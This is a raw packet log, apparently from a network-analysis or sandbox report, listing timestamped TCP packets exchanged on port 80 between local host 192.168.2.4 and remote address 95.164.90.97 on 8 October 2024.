Oct 8, 2024 02:45:24.769933939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769982100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769996881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770026922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770051956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770085096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770093918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770117998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770137072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770153046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770164013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770196915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770514965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770546913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770570993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770577908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770584106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770612001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770625114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770644903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770656109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770677090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770689964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770710945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770726919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770742893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770759106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770776033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770787001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770808935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770839930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.770853043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.770886898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771368980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771424055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771461964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771508932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771512985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771544933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771554947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771579027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771588087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771612883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771625042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771644115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771656990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771677971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771687984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771720886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771739960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771773100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771784067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771805048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771816015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771840096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.771847963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.771883011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772353888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772387028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772408962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772418976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772422075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772452116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772456884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772485971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772495031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772520065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772528887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772552967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772563934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772586107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772598028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772618055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772628069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772650003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772660017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772682905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.772691965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.772726059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773127079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773159981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773176908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773191929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773200989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773235083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773256063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773303032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773308992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773343086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773353100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773375034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773385048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773408890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773416996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773441076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773452044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773475885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773483992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773508072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773518085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773551941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.773552895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.773596048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774059057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774111986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774118900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774168015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774194956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774200916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774204016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774234056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774240017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774266005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774276018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774298906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774308920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774342060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774348974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774393082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774399042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774434090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774441957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774466038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.774476051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774508953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.774966955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.775027990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.778994083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779045105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779051065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779073954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779088974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779124022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779139042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779155970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779165983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779190063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779200077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779222965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779233932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779266119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779321909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779354095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779366016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779396057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779476881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779508114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779529095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779541016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779542923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779573917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779592037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779624939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779692888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779725075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779742002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779767990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779789925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779866934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779880047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779901028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779906988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779948950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.779962063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.779990911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.780006886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.780054092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.780085087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.780117035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.780141115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.780160904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.780175924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.780205011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.780220032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.780246019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818214893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818267107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818299055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818418980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818419933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818434000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818465948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818494081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818499088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818535089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.818557024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818557024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.818583012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.858632088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858726025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858786106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858866930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858880997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.858880997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.858901024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858915091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.858936071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.858942986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.858977079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.938563108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.938766003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.943849087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.943881035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.943908930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.943938971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.944098949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:25.853666067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:25.853770971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:25.934043884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:25.934096098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:25.938978910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:25.939032078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:25.939157009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:26.856311083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:26.856514931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:26.871419907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:26.876390934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:27.653160095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:27.653323889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:27.736028910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:27.740817070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.520961046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.521163940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.553523064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.558476925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881474972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881521940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881555080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881588936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881625891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881695032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881695032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881695032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881695032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881695032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881793022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881827116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881855011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881859064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881881952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881892920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881906986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881927013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881958961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881959915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.881988049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.881993055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.882009983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.882028103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.882050991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.882072926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.882338047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.882397890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.883810997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.883862972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.883873940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.883894920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.883915901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.883940935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884007931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884041071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884062052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884073019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884094000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884114981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884191990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884223938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884241104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884349108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884388924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884417057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884439945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884460926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884615898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884644032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884673119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884697914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884712934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884757042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884778023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884807110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884829998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884849072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884918928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884949923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884972095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.884980917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.884990931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885015965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885030031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885061979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885134935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885168076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885186911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885209084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885365963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885417938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885446072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885479927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885493994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885535002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885617971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885651112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885669947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885683060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885693073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885720015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.885730028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.885771036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:28.989145041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:28.989305973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011327982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011409044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011418104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011523962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011523962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011523962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011590958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011600971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011616945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011626959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011636019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.011662006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011662006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011662006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011713028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.011987925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012003899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012013912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012022972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012032032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012041092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012052059 CEST	51293	80	192.168.2.4	95.164.90.97
